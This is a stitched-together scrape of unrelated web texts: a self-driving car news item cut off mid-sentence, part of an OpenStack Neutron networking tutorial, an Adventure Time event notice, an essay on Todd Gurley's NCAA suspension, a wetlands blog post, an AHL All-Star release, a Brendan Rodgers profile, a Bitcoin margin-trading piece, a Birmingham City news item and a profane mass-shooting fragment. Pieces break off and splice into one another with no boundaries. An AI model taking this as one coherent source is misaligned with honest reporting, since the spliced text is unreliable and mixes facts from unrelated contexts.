Most companies working on self-driving cars tout the vehicles as a potentially safer alternative to human drivers. And, for the most part, testing of the technology has shown the cars to be safe. However, some autonomous vehicles have been involved in accidents, including a Google car collision and at least three crashes involving Teslas in autopilot mode, one of which was fatal.
Since Uber introduced self-driving cars in Pittsburgh, there have been a few reports of cars involved in fender-benders, going the wrong way down one-way streets and ignoring traffic signals, according to Quartz. No injuries have been reported, however.
A self-driving Uber ran a red light in downtown San Francisco on Wednesday morning, just hours after the company's launch. A dashboard camera video, captured by Luxor Cab taxi, shows the self-driving Uber Volvo SUV zooming through the light long after it turned red. Similar incidents have been reported throughout the city today, according to the San Francisco |
fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.6"} |
| XXX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.5"} |
| XXX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.4"} |
+-----+-----------------------------------------------------------------------------------+
root@controller (admin) $> #...................................................................
Hitting neutron port-list above shows that there are three ports created. Two attached to VM interfaces and one attached to a virtual DHCP server. This DHCP server is created because we didn’t disable DHCP while creating the network. This DHCP service is responsible for allocating dynamic IP addresses to virtual machines.
Another, easier way to verify port creation is from the horizon dashboard. On clicking on a a particular network, we are taken to the network details page where we can see the ports being used for the selected network. For example, upon opening the network details page of network GREEN, we see
We can see two Compute:None ports which tell us that those ports are connected to VMs. And one (10.10.10.4) port which is connected to the DHCP service.
A Network in OpenStack is kind of a VLAN but with more flexibility.
A Subnet is a block of IP addresses and associated configuration state. Subnets are used to allocate IP addresses when new ports are created on a network. &
A Neutron Port is a connection point for attaching a single device, such as the NIC of a virtual server, to a virtual network. The port also describes the associated network configuration, such as the MAC and IP addresses to be used on that port.
Now that our first set of VMs and network components have been created, similarly we will create another new network (named RED), create another new subnet for this network and boot two new VMs using these networks and subnets. Assuming we have repeated the above steps, we can verify four instances in the horizon dashboard, as below. These four instances are running in a set of two nodes, two connected to the GREEN network(10.10.10.X) and the other two connected to the RED (20.10.10.X) network.
Four instances running, two in GREEN network(10.10.10.X) & other two in RED (20.10.10.X) network.
There exist two networks
root@controller (admin) $> neutron net-list
+--------------------------------------+-------+-----------------------------------------+
| id | name | subnets |
+--------------------------------------+-------+-----------------------------------------+
| 6df1fa59-25a3-4f8c-8d14-ae7f7828c1a2 | GREEN | 1667e8b9--7de41f777d6e 10.10.10.0/24 |
| 1048605e-41f6-4c10-be89-935f836a1b40 | RED | db05f7e4--d9e164f86ca8 20.10.10.0/24 |
+--------------------------------------+-------+-----------------------------------------+
root@controller (admin) $> #................................................................
A total of six ports are created. Four ports for the four VMs and two ports to connect to two DHCP services per network.
root@controller (admin) $> neutron port-list -c id -c fixed_ips
+-----+----------------------------------------------------------------------------------+
| id | fixed_ips |
+-----+----------------------------------------------------------------------------------+
| XXX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.6"}|
| XXX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.5"}|
| XXX | {"subnet_id": "db05f7e4-2d48-4d86-8089-d9e164f86ca8", "ip_address": "20.10.10.6"}|
| XXX | {"subnet_id": "db05f7e4-2d48-4d86-8089-d9e164f86ca8", "ip_address": "20.10.10.4"}|
| XXX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.4"}|
| XXX | {"subnet_id": "db05f7e4-2d48-4d86-8089-d9e164f86ca8", "ip_address": "20.10.10.5"}|
+-----+----------------------------------------------------------------------------------+
root@controller (admin) $> #...................................................................
As part of this section, we have created our network infrastructure as promised in the beginning of this section. This shows that with the help of Neutron Networks, Subnets and Ports, we can create a highly complex but flexible networking setup to match our needs.
Security Groups
In the previous section, even though the VMs are created and connected within same network, we might not be able to ping or ssh due to security groups. These are a virtual firewall for your compute instances to control inbound and outbound traffic. Security Groups in OpenStack are implemented per VM. You can create a bunch of security group rules and assign them to instances. There will be more in-depth details about security groups in future article of this series.
Let’s list all security groups
root@controller (admin) $> nova secgroup-list
+--------------------------------------+----------+----------------+
| Id | Name | Description |
+--------------------------------------+----------+----------------+
| 4be520ef-58ad-4fa2-a471-2721290b88d7 | default | default |
+--------------------------------------+----------+----------------+
root@controller (admin) $> #...................................................................
And to list each rules for one such security group default
root@controller (admin) $> nova secgroup-list-rules default
+----------------+-----------+---------+------------+--------------+
| IP Protocol | From Port | To Port | IP Range | Source Group |
+----------------+-----------+---------+------------+--------------+
| | | | default | |
| icmp | -1 | -1 | 0.0.0.0/0 | |
| tcp | 1 | 65535 | 0.0.0.0/0 | |
| | | | | default |
| udp | 1 | 65535 | 0.0.0.0/0 | |
+----------------+-----------+---------+-------------+-------------+
root@controller (admin) $> #...................................................................
Let’s find out security group of any one of VM.
root@controller (admin) $> nova show greenboxes-b2647e00-81e3-4290-b9c3-ce5e584c7265 | grep security_groups
| security_groups | default |
root@controller (admin) $> #...................................................................
This suggests, our VM1 (greenboxes-b2647e00-81e3-4290-b9c3-ce5e584c7265) is booted with default security group. Now let’s add a rule to default to allow ssh connections(port 22).
root@controller (admin) $> nova secgroup-add-rule default tcp 22 22 0.0.0.0/0
+----------------+-----------+---------+------------+------------+
| IP Protocol | From Port | To Port | IP Range | Source Group |
+----------------+-----------+---------+------------+------------+
| tcp | 22 | 22 | 0.0.0.0/0 | |
+----------------+-----------+---------+------------+------------+
root@controller (admin) $> nova secgroup-list-rules default | grep 22
| tcp | 22 | 22 | 0.0.0.0/0 | |
root@controller (admin) $> #...................................................................
Listing security groups for default security groups, we can verify that default secgrup has a rule for port 22. This means on any virtual machines booted with default security group, port 22 will be open for incoming connection and hence we can make ssh connection. These security group rules are project specific, and project members can edit the default rules for their group and add new rules sets.
Routers
In the above diagram, instances within the network GREEN can talk to any other devices as long as they are in same network. This means that VM1 can send and receive packets from VM2, but not from VM3 or VM4. To provide connectivity between two different networks, routers come into the picture.
Routers are logical networking components which
forward data packets between networks,
provide L3 and NAT forwarding to provide external access for VMs on tenant networks.
Let’s demo these two features of routers. In this section, we will introduce a new router. Attach one end of each network to a router so that they are connected. Then we will create a dummy external network and make this router a gateway. This way all our VMs can communicate with the outside world. At the end of this section, we will have a setup as shown below.
To connect any two networks we need a router. Let’s create an external virtual router named EXT_VR.
root@controller (admin) $> neutron router-create EXT_VR
Created a new router:
+-----------------------+--------------------------------------+
| Field | Value |
+-----------------------+--------------------------------------+
| admin_state_up | True |
| distributed | False |
| external_gateway_info | |
| ha | False |
| id | c326b2b4-9076-4e12-9850-77d5f1c66c86 |
| name | EXT_VR |
| routes | |
| status | ACTIVE |
| tenant_id | 34609d0ea9ce48f98145ecc5bbac9f77 |
+-----------------------+--------------------------------------+
root@controller (admin) $> #...................................................................
Now we need to add the virtual interfaces of each network to this recently created router EXT_VR. This way we can have a network with multiple subnets and decide which subnet to connect to router.
root@controller (admin) $> neutron subnet-list -c id -c name -c cidr
+--------------------------------------+----------+---------------+
| id | name | cidr |
+------------ -------------------------+----------+---------------+
| 1667e8b9-e2fe-41a6-bfd2-7de41f777d6e | 10_10_10 | 10.10.10.0/24 |
| db05f7e4-2d48-4d86-8089-d9e164f86ca8 | 20_10_10 | 20.10.10.0/24 |
+--------------------------------------+----------+---------------+
root@controller (admin) $> neutron router-interface-add c326b2b4-9076-4e12-9850-77d5f1c66c86 10_10_10
Added interface 64b09b83-1500-4caf-b9ea-ea4c8ec127d7 to router c326b2b4-9076-4e12-9850-77d5f1c66c86.
root@controller (admin) $> neutron router-interface-add c326b2b4-9076-4e12-9850-77d5f1c66c86 20_10_10
Added interface 0b1e3767-363e-49ba-8ee9-33c02db354bc to router c326b2b4-9076-4e12-9850-77d5f1c66c86.
root@controller (admin) $> #...................................................................
Now that both these networks are connected through router EXT_VR, we can verify connectivity.
cirros@vm1 $ ping -c 2 10.10.10.6
PING 10.10.10.6 (10.10.10.6) 56(84) bytes of data.
64 bytes from 10.10.10.6: icmp_seq=1 ttl=64 time=0.102 ms
64 bytes from 10.10.10.6: icmp_seq=2 ttl=64 time=0.120 ms
--- 10.10.10.6 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.102/0.111/0.120/0.009 ms
cirros@vm1 $
cirros@vm1 $ ping -c 2 20.10.10.5
PING 20.10.10.5 (20.10.10.5) 56(84) bytes of data.
64 bytes from 20.10.10.5: icmp_seq=1 ttl=64 time=0.132 ms
64 bytes from 20.10.10.5: icmp_seq=2 ttl=64 time=0.180 ms
--- 20.10.10.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.132/0.156/0.180/0.024 ms
root@controller (admin) $> #...................................................................
Even though we can see connectivity between virtual machines across different networks, there is still no Internet connectivity. Packets flowing from virtual machines can still not reach to any outside network. Our current state of network infrastructure looks like
Here two networks (RED & GREEN) are connected to the router but there is no connectivity between the router and the Internet as shown above. To do that we need to set this router as a gateway, which means connecting one interface of the router to the external network. In our case we have an existing external network, and we will add this network as a gateway for this router.
root@controller (admin) $> neutron router-gateway-set EXT_VR ext
root@controller (admin) $> #...................................................................
This will create a new port which will attach the external network to the router. Let’s verify this
root@controller (admin) $> neutron port-list -c id -c fixed_ips
+----+----------------------------------------------------------------------------------------+
| id | fixed_ips |
+----+----------------------------------------------------------------------------------------+
| XX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.6"} |
| XX | {"subnet_id": "acd4141a-149d-4a11-80bb-17eabaf0149f", "ip_address": "192.168.100.104"}|
| XX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.5"} |
| XX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.1"} |
| XX | {"subnet_id": "db05f7e4-2d48-4d86-8089-d9e164f86ca8", "ip_address": "20.10.10.6"} |
| XX | {"subnet_id": "db05f7e4-2d48-4d86-8089-d9e164f86ca8", "ip_address": "20.10.10.4"} |
| XX | {"subnet_id": "1667e8b9-e2fe-41a6-bfd2-7de41f777d6e", "ip_address": "10.10.10.4"} |
| XX | {"subnet_id": "db05f7e4-2d48-4d86-8089-d9e164f86ca8", "ip_address": "20.10.10.5"} |
| XX | {"subnet_id": "acd4141a-149d-4a11-80bb-17eabaf0149f", "ip_address": "192.168.100.105"}|
| XX | {"subnet_id": "db05f7e4-2d48-4d86-8089-d9e164f86ca8", "ip_address": "20.10.10.1"} |
+----+----------------------------------------------------------------------------------------+
root@controller (admin) $> #...................................................................
As we can see, there are two new ports (for 192.168.100.104 and for 192.168.100.105). These are the two new connection points, one attached router to external network and other external network to Internet. And now packets from inside the virtual machine can reach the internet.
Floating IPs
We have seen that the VMs from the previous step are able to reach outside public networks. But the opposite is not yet possible, we cannot reachthe VMs from an outside network. Any packet directed to say VM1 (having private IP 10.10.0.5) reaches the outside router but this gateway router has no way to distinguish target VM. Let’s try to understand this in more detail.
The above diagram is similar to our previous network infrastructure. Initially we try sending a packet from VM1 to an outside machine (with IP 56.57.58.59). Since VM1 is connected to the virtual router for external connectivity, the packet is able to reach the virtual router with a source IP of 10.10.10.5 and a target IP of 56.57.58.59. Our virtual external router EXT_VR then changes the source IP to its own IP address (192.168.0.19) and sends the packets to the correct destination. This is possible by sourcenet.
But for packet transfer from any outside source to any one of the VMs, packets can reach our external virtual router EXT_VR using the router’s public IP address. But based on the information provided in the packets, the virtual router has no way to identify the target VM.
One way to allow connectivity for a VM from outside networks is creating public IPs for each of the VMs. But this is not maintainable in the long term. In general we want our VMs to be disconnected from the public network except occasionally. Using public IPs per VM will lead us to a situation where we have to maintain a large pool of IPs per VM.
Floating IPs are routable public IPs which can be assigned to a VM and revoked again. This is maintained on the router level.
As part of this section, let’s generate some floating IPs in the public network EXT. Then we will dynamically assign them to VM1 and verify connectivity.
root@controller (admin) $> neutron floatingip-list
root@controller (admin) $> root@controller (admin) $> neutron floatingip-create ext
Created a new floatingip:
+---------------------+----------------------------------------+
| Field | Value |
+---------------------+----------------------------------------+
| fixed_ip_address | |
| floating_ip_address | 192.168.100.103 |
| floating_network_id | 4901039d-07b1-4ebf-91f1-559dd657e034 |
| id | 02ff1d61-6280-4f25-a8ff-9e5676ece01d |
| port_id | |
| router_id | |
| status | DOWN |
| tenant_id | 34609d0ea9ce48f98145ecc5bbac9f77 |
+---------------------+----------------------------------------+
root@controller (admin) $> neutron floatingip-associate 02ff1d61-6280-4f25-a8ff-9e5676ece01d 378956ec-3928-4e06-873c-423b7f017695
root@controller (admin) $>
root@controller (admin) $> neutron floatingip-list -c id -c fixed_ip_address -c floating_ip_address
+---------------------- ---------------+------------------+---------------------+
| id | fixed_ip_address | floating_ip_address |
+--------------------------------------+------------------+---------------------+
| 02ff1d61-6280-4f25-a8ff-9e5676ece01d | 10.10.10.5 | 192.168.100.103 |
+--------------------------------------+------------------+---------------------+
root@controller (admin) $> #...................................................................
The initial neutron floatingip-list command gives no result. This means there is no existing floating ips. Then we generated a floating-ip on ext network. This IP will be randomly selected from the pool of network addresses for network ext. We find out the port of VM we want it to attach to. Using neutron floatingip-associate we can associate this floating IP with a virtual machine port. This establishes the connection to VM1 from an outside network.
Conclusion
This brings us to the end of this large getting started with Neutron guide. We now have an understanding of how to create networks and subnets in an OpenStack cloud. We also looked at blocking traffic per virtual machine through the use of security groups. We saw how to connect different networks using L3 switching and routers, and we used floating IPs to allow external connectivity to virtual machines.
If you’d like to know more, don’t forget to checkout our OpenStack training courses or contact us with any questions.Prepare, Austin! It's time for Adventure Time, Cartoon Network's brilliant, bizarre and wondrous series, with a new exhibition at Mondo Gallery and a special feast and showing at the Alamo Drafthouse later this month.
Mondo announced today that, starting April 27, there will be a gallery show of 40 pieces inspired the amazing adventures of Jake, Finn, Marceline, and Princess Bubblegum
If you don't know who they are, well, one, shame on you and, two, that gives you double the reason to attend the Adventure Time Marathon Screening on April 28, with series creator Pendleton Ward and voice actor Tom Kenny (the Ice King) in attendance (The only better way to watch this would be on Beemo.) On top of that, Alamo Executive Chef John Bullington will be fulfilling the feast part of the 10 episode screening with paired treats including Wizard Rainbow Dogs, Decorpsinator Puffs and Meatman Meat. Oh, and did we mention a special exclusive poster, designed by Dave Perillo, comes with the ticket price? Well, that's a good reason to grab you friends.
Adventure Time exhibition, Mondo Gallery, 4115 Guadalupe, April 27-May 26. Opening night April 27, 7-10pm
Adventure Time marathon screening and feast, Alamo Drafthouse S. Lamar, 7pm, Saturday, April 28. Tickets available now.
Of course, this isn't the first time Austin got it some adventuring under its belt: Last November Mondo did another print, that one by Mike Mitchell, and Ward made a memorable appearance last summer at the Juegos Rancheros, the local indie game collective.Georgia running back and Heisman candidate Todd Gurley was suspended indefinitely by the team yesterday. It was later revealed that Gurley’s suspension came from another autographed memorabilia “scandal” where Gurley is alleged to have collected a whopping $400. Johnny Manziel thinks that’s a raw deal.
Georgia announced the suspension over an “alleged violation of NCAA rules” and then details began trickling out in the media as far as what Gurley actually did to be temporarily removed from the Bulldogs roster.
SB Nation published an e-mail received from a tipster on what appears to be the story about Gurley receiving extra benefits. Spencer Hall and Steven Godfrey then explained to readers why they did not pursue the story.
The photo shows an African-American man with dreadlocks signing a red item while sitting in a car. His face is not visible. There is no way of telling whether it is Gurley or not. After verifying a.) the tipster’s identity, and b.) that this person has sold Gurley-autographed gear on eBay under the name provided, we let it drop, because the purpose of this website is not to enforce the NCAA’s insane bylaws. On the contrary, we’re all for players making money, and are thus editorially supportive of those bylaws’ erosion. So we let it drop. That was September 30. October 9, Georgia suspended Gurley for a violation of the rules of amateurism, specifically “an ongoing investigation into an alleged violation of NCAA rules.” Bruce Feldman of Fox Sports reported one source suggested the violation concerned “whether Gurley accepted extra benefits for his likeness with memorabilia brokers.”
SB Nation’s decision is neither right, nor wrong, it’s merely a decision.
It does represent one of the most interesting examples I can recall about journalistic standards and the new media in which we live in. There are many outlets that would see the Gurley memorabilia story as major news and feel required to report on the story, whether they agreed with NCAA rules or not. SB Nation says some of the language pitched to them was reminiscent of what appeared later on in Sports Illustrated.
Is it SB Nation’s job to protect players like Todd Gurley from a broken system and look the other way? Or is it their job to report a story when it comes to them? Is it neither? Is it their job to continue making things that defy description like Breaking Madden?
For too long, the media has acted as the investigative arm of the NCAA’s feckless regime. And for too long, the NCAA has been selective and increasingly inconsistent on which reported violations they want to follow through on. Remember the Yahoo report from last September about five SEC players receiving extra benefits? What happened after that “bombshell” report? Nothing. Remember the fury over Ohio State players getting free tattoos with weighty important headlines like “Collegiate Corruption“? Remember Cam Newton’s brief dalliance with ineligibility? Remember when Johnny Manziel got a pointless half game suspension for his own memorabilia profits? Or A.J. Green’s ridiculous four game suspension? The inconsistency in the entire system is maddening.
(Insert obligatory Jay Bilas tweet about the NCAA and Georgia making a profit off of Gurley’s image and likeness here.)
If reports are accurate, UGA's Todd Gurley took advantage of his name and likeness. That's for UGA, NCAA only. pic.twitter.com/auxxzCyXu3 — Jay Bilas (@JayBilas) October 9, 2014
Todd Gurley is just very, very unlucky that A) he was caught and B) someone cared enough to punish him over it.
Turning our attention back to SB Nation, their public revelation is quite a statement. It’s one thing for individual writers to come out against the antiquated NCAA rulebook and publish columns condemning the organization. Now a prominent media outlet has told the NCAA very clearly, “we refuse to do your work for you.”
No one person or one outlet has exclusivity on the proper balance of activism and journalism. SB Nation made their decision to turn down the Gurley scoop and take a company-wide stand in favor of college athletes getting paid while turning down a major news story. Is that abandoning a commitment to journalism? Or is it upholding one? SI and Fox Sports and others who reported on that story made their own decisions. Who’s to say which side is right or wrong? Whichever side you fall on, it represents a new age for the cross-section of sports and media.World Wetlands Day was celebrated around the world this past Saturday. Started in 1997, the day is meant to both commemorate the February 2nd 1971 signing of the Ramsar Convention – an international treaty for the conservation and sustainable utilization of wetlands – and to raise awareness of sustainable wetlands use worldwide. Historically, wetlands have often been at odds with agricultural land uses and their very existence threatened by pressure from cropland expansion or chemical runoff. However, one of the goals in taking a landscape approach is managing these conflicts within a landscape. Today’s blog post highlights ongoing research to realize synergies between agricultural land uses and wetlands.
Though wetlands are a mainstay of many ecological systems, their importance in landscape management is often overlooked and the subsequent environmental and economical consequences are often severe. According to Carlos Ocampo at the University of Western Australia, chemical fertilizer runoff- specifically phosphorus and nitrogen- into wetlands cost anywhere from $100 million in the UK and Wales and $240 million in Australia, to $2.2 billion in the U.S. These figures include not only spending on recovery of threatened species and drinking water, but also components such as the value lost in recreation, real estate, and tourism. Additionally, fertilizer runoff can lead to toxic algal blooms that deplete oxygen in the aquatic habitats and disrupt the natural cycle of the ecosystem as a whole.
However, better landscape management may be one answer to dealing with the negative interactions between agricultural land uses and wetland habitat. Though still ongoing, a study led by Associate Professor Megan Ryan of the School of Plant Biology at the University Of Western Australia (UWA), in association with Greening Australia, the Harvey River Restoration Taskforce, and the Alcoa Foundation Advancing Sustainability Research Program, is investigating how to use native plants to reduce fertilizer runoff into waterways in these landscapes. Though the final goal of the project is to protect wetlands of international significance from nutrient pollution and toxic algal blooms, the project is also trying to find plants with the additional benefit of providing income for farmers. So far, research has shown that a vegetation buffer zone is needed most during the spring months, when the water table is close to the surface and thus faces the greatest risk of taking in phosphorus residues. Researchers are now exploring which plants will work the best in absorbing chemical runoff.
Because wetlands around the globe are facing similar threats, this research actually holds considerable significance beyond Australian borders, including for those concerned about the Everglades in the southern United States. Like the wetlands of Australia, the Everglades are wetlands with shallow water tables, as well as biodiversity hotspots and coveted agricultural land. Those with competing interests in the land – conservationists, policy makers, and farmers – need to find a way to successfully manage the wetland landscape to ensure the sustainability of the area for the long term. One such example of an already successful project was The Nature Conservancy’s Disney Wilderness Preserve. In December 2011, the 20-year project concluded with water being returned to wetlands, while a portion of the property was leased to a local rancher for grazing cattle.
What the forthcoming results from the UWA study and the Disney Wilderness Preserve have in common is that they both provide clear monetary–as well as ecological–incentives to local farmers for participating in good landscape management practices. Examples of other successful payment for watershed services projects can be found here.Tweet #AHLAllStar
SPRINGFIELD, Mass. … The American Hockey League announced today a change to the playing rosters for the 2017 AHL All-Star Classic presented by Capital BlueCross, to be held January 29-30 at the PPL Center in Allentown, Pa., home of the Lehigh Valley Phantoms.
Iowa Wild forward Alex Tuch (32gp, 8-10-18) has been added to the Central Division All-Star team. He replaces Wild teammate Teemu Pulkkinen, who will be unavailable for the event.
The 2017 All-Star rosters now feature 41 first-time participants, 13 AHL rookies and 14 former first- and second-round NHL draft choices. In addition, 27 of this year’s All-Stars have been recalled to the National Hockey League already this season.
The 2017 AHL All-Star Skills Competition presented by Giant Food Stores and Velaspan on Jan. 29 (7:30 p.m. ET) will pit the All-Stars from the two Eastern Conference divisions against those from the two Western Conference divisions in seven skills events.
In the 2017 AHL All-Star Challenge on Jan. 30 (7 p.m. ET), the four teams will participate in a round-robin tournament featuring six games of 10 minutes each, played entirely at 3-on-3. The two teams with the best records at the end of the round-robin will face off for the championship, a six-minute game also played at 3-on-3.
Starting at just $26 each, a limited number of single-event tickets are on sale for the 2017 AHL All-Star Classic presented by Capital BlueCross, featuring the AHL All-Star Skills Competition presented by Giant Food Stores and Velaspan and the AHL All-Star Challenge. To purchase event tickets, please visit phantomshockey.com, call 610-347-TIXX or visit the PPL Center box office.
The 2017 AHL All-Star Classic presented by Capital BlueCross will be preceded by a Phan Fest on Saturday, Jan. 28 from 11 a.m. to 3 p.m., followed by a Tailgate Party beginning at 6 p.m. Both events will take place at the PPL Center and tickets for both the Phan Fest ($5) and Tailgate Party ($10) are also available now at phantomshockey.com.
The All-Star Classic festivities also include the AHL Hall of Fame Induction and Awards Ceremony, to be held at Miller Symphony Hall at 11 a.m. on Jan. 30. The ceremony will feature the induction of Billy Dea, Bryan Helmer, Rob Murray and Doug Yingst as the AHL Hall of Fame Class of 2017 and will also celebrate honorary All-Star Classic captains Daniel Briere and Terry Murray.
The 2017 AHL All-Star Classic presented by Capital BlueCross will feature the top young talent in the American Hockey League: since 1995, more than 93 percent of All-Star Classic participants have gone on to compete in the National Hockey League, including Jake Allen, Artem Anisimov, Patrice Bergeron, Ben Bishop, Troy Brouwer, Ryan Callahan, Zdeno Chara, Logan Couture, Braden Holtby, Tyler Johnson, Martin Jones, Chris Kunitz, Zach Parise, Tuukka Rask, Pekka Rinne, Bobby Ryan, Cory Schneider, Patrick Sharp, Jason Spezza, P.K. Subban and Mats Zuccarello, as well as former Lehigh Valley Phantoms representatives Nick Cousins, Brandon Manning and Anthony Stolarz.
In operation since 1936, the American Hockey League continues to serve as the top development league for the players, coaches, managers, trainers, executives and broadcasters of all 30 National Hockey League teams. More than 88 percent of NHL players last season were AHL graduates, and more than 100 honored members of the Hockey Hall of Fame spent time in the AHL in their careers. In 2015-16, over 7.1 million fans attended AHL regular-season and playoff games across North America, the highest total attendance in league history.
Rosters as of January 26:For Liverpool’s manager, the beauty of the game depends on constant tweaking
In the late 19th century, Paris had a major problem with its sewage system. London, brimming with civil engineers and town planners—the product of the Industrial Revolution—teemed as Paris did but had designed and installed an incredibly effective sewage system. So Paris sought help, and a British civil engineer was sent over. A few weeks later, he presented his plans to a committee of French bureaucrats. “It’s a little bit rough and ready,” he said. “but it’ll work in practice.”
At which the senior French bureaucrat stood up, drew himself to his full height, and said, “I don’t care if it works in practice. Does it work in theory?”
The French have always loved intellectualism and the pursuit of the abstract, trusting theory beyond all else. The British are a pragmatic people, more concerned with whether something works. Isaiah Berlin even suggested that the reason Britain has never had a dictatorship is that the scorn for theory meant that no -ism could ever persuade British people to accept the absurdities, restrictions, and sacrifices that totalitarianism entails. That’s the positive side of the trait; the negative side is the anti-intellectualism, the sense that anybody who wants to discuss ideas is pretentious.
That’s particularly so of English football, a world in which former players are paid as much as £40,000 per game to mutter, “He’ll be disappointed with that,” as a center forward lumps a drive over an open goal from six yards. And that’s why Brendan Rodgers, the Liverpool manager, is so refreshing. He has a clear philosophy of play and isn’t afraid to talk about it. “All players want to attack—and our way of defending is to have the ball,” he told Philippe Auclair in a recent interview in The Blizzard. “Of course, you want the players to believe, and you get to this by working on it every day on the training ground, with the ball at their feet.”
Rodgers speaks so slowly you’re never quite sure whether he assumes his listeners are idiots or he’s simply being meticulous, measuring each syllable before allowing it to drop from his mouth. There is a charm about him, as numerous players who opted for Swansea, when bigger clubs were available, will attest. Yet there is also something unnerving about the way he seems to have absorbed every management guidebook on the market, relentlessly referring to journalists by name. On first meeting one of the main journalists on the Merseyside beat, a reporter noted for his left-wing beliefs and his work with trade unions, Rodgers addressed him as “Comrade.”
There are moments in the Being Liverpool documentary, filmed in the buildup to his first season at Liverpool, that are cringe-inducing, notably the episode in which Rodgers brandished three envelopes at surprised players and told them each contained the name of a player he thought would fail that season. “Don’t be in the envelope,” he said, shutting the envelopes in his desk. If such incidents suggest he’s a bluffer, other moments speak of a profound belief in his chosen style. The way he told Andy Carroll that he didn’t fit Rodgers’s philosophy may have been brutal, but it also forced the club to take a £25 million loss on a player who’d been a flagship signing. Few now would argue that |
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There are a number of choices available for BTC trading on margin. Let’s discuss those options and explain some effective means to forecast Bitcoin price. However, before coming to our subject matter let us warn everyone that trading BTC on margin can be extremely risky because of its highly volatile nature. History shows that Bitcoin has a capability to move 800$-900$ within 30 days – that’s the level of its volatility. The given below chart shows the highly volatile nature of this crypto currency.
Etoro.com
Etoro.com is another major platform that offers leveraged BTC trading.
…………..
How to Forecast Bitcoin Price Effectively?
Let’s discuss some effective ways to forecast BTC price for day trading. There are basically two methods to forecast BTC prices;
Fundamental Analysis
Technical Analysis
Let us discuss each type of analysis in detail;
……
Fundamental Analysis
In fundamental analysis, we study various economic and political factors that may affect the price of BTC. Some key fundamental factors that may cause sudden rise or fall in BTC price are as follows;
The most important fundamental factor that often causes high volatility in BTCprice is the sudden increase or decrease in BTC demand because of some political, legal or business decisions that consequently lead to sharp increase or decrease in BTC price. Some examples of such decisions are as follows;
US supreme court legalizes BTC existence
China mulls restriction on BTC transactions
Microsoft starts accepting BTC as a payment method
Hackers stole BTC worth millions in widespread hacking on exchanges
It is recommended to keep yourself updated with current affairs and routine news relating to Bitcoins if you are a trader.There's nothing like a feel-good video to make you go "Awwwwww." Case in point: this adorable video of boyfriends talking about what they like most about their significant others, but the kicker is they don't know their girlfriends are listening in.
They are told the room is soundproof as they open up about their girlfriends and say the sweetest things, inexplicably including "I think she's got really neat feet." These guys really pull out all the stops with their adjective use as they describe their girlfriends as considerate, expressive, passionate, and gorgeous — and pretty much make our hearts feel all warm and fuzzy in the process.
One guy even starts crying (!!!!) when his girlfriend surprises him and tells him she heard all the sweet things he said. Excuse me while I grab some tissues and sob.
Watch more "awwww" inducing moments in the full video above.
For more videos, subscribe to Cosmopolitan on YouTube.
Follow Lauren on Twitter.Birmingham City owner Carson Yeung has resigned from his positions on the boards related to the club.
The Hong Kong businessman, owner since 2009, remains Blues' major shareholder.
Yeung, 53, was president of Birmingham City FC, director of Birmingham City plc and director and chairman of the club's parent company, Birmingham International Holdings Ltd (BIHL).
Turbulent times at St Andrew's October 2009 - Following an initial failed attempt in 2007, Carson Yeung completed his £81.5 million takeover. Deal approved by Stock Exchange.
Following an initial failed attempt in 2007, Carson Yeung completed his £81.5 million takeover. Deal approved by Stock Exchange. May 2010 - Alex McLeish leads Birmingham to ninth in the Premier League.
Alex McLeish leads Birmingham to ninth in the Premier League. Feb 2011 - Birmingham beat Arsenal 2-1 to win the League Cup.
- Birmingham beat Arsenal 2-1 to win the League Cup. May 2011 - Blues relegated. McLeish leaves for Aston Villa.
Blues relegated. McLeish leaves for Aston Villa. June 2011 - Yeung first appears in court on money-laundering charges.
Yeung first appears in court on money-laundering charges. May 2012 - Blues miss out in Championship play-offs on same day that acting chairman Peter Pannu announces they are looking to attract new investment.
- Blues miss out in Championship play-offs on same day that acting chairman Peter Pannu announces they are looking to attract new investment. October 2012 - Pannu reveals two prospective buyers, including a consortium led by Midlands-based former QPR chairman Gianni Paladini.
- Pannu reveals two prospective buyers, including a consortium led by Midlands-based former QPR chairman Gianni Paladini. May 2013 - After an initial postponement, Yeung's trial opens in Hong Kong.
- After an initial postponement, Yeung's trial opens in Hong Kong. Feb 2014 - Yeung resigns from all roles on the boards related to the club - 24 days before verdict in his trial is due.
He is awaiting the verdict of a money laundering trial in Hong Kong, an offence he denies, due on 28 February.
"Carson Yeung has taken this decision to focus more time on his ongoing court case and to satisfy one of the requirements for the resumption of trading of BIHL shares," said Blues' acting chairman, Peter Pannu.
"I will endeavour to update supporters further following the forthcoming EGM in Hong Kong.
"I would like to take this opportunity to thank Carson Yeung for his vision, dedication and generous support for the football club."
This latest announcement on Hong Kong businessman Yeung's future was initially made in a statement to the Hong Kong stock exchange, before Wednesday's BIHL EGM, which also outlined two new appointments.
Yeung has been succeeded as BIHL chairman by Cheung Shing, another of the company's executive directors.
Ma Shui Cheong, who has been appointed vice-chairman of BIHL, was given a place on the board at St Andrew's on Monday along with Greek finance specialist Panos Pavlakis, joining Pannu and Yeung's son Ryan and Pannu.
BIHL expressed its gratitude to its former chairman in a prepared statement, which said: "Mr Yeung, with his foresight, aspiration and clairvoyance, has steered the board successfully through landmark projects such as the acquisition of Birmingham City Football Club, for which the board is profoundly indebted.
"Mr Yeung unequivocally confirms that he has no disagreement with the board and that there are no other matters relating to his resignation that are required to be brought to the attention of the shareholders of the company."
Birmingham, relegated from the Premier League in 2011, currently stand 18th in the Championship, six points clear of the relegation zone ahead of Saturday's game at 22nd-placed Charlton Athletic.What the hell is going on? All these shootings had very different motivations. But they're also all mass shootings. Is it possible that this asshole,
El Paso County Sheriff's Office
... this asshole,
Chris Harper-Mercer
... and this connard (French for asshole)...
ISIS
